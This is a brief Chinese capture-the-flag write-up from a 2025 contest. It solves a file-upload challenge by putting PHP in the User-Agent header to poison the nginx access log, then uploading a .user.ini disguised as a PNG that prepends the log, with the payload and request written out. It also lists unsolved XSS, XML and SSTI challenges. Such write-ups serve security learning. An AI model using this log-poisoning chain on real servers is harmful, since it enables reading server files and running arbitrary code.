黄河流域网络安全挑战赛2025

主要就来看看这个文件上传的赛题怎么解决吧！
首先是ua改为：

User-Agent: <?php echo file_get_contents('/flag'); ?>

然后利用.user.ini文件进行调取

------geckoformboundary55df4897335e6cbc04ca2964622ca64
Content-Disposition: form-data; name="upload_file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file="/var/log/nginx/access.log"
------geckoformboundary55df4897335e6cbc04ca2964622ca64--

最后访问/uploads/index.php就可以看见flag了

外国山海经

要打xss，不会

Message Board

很少见.xml的，没见过这种类型的

Try2Crossover

比较难的ssti

哈哈，笑死，都不会做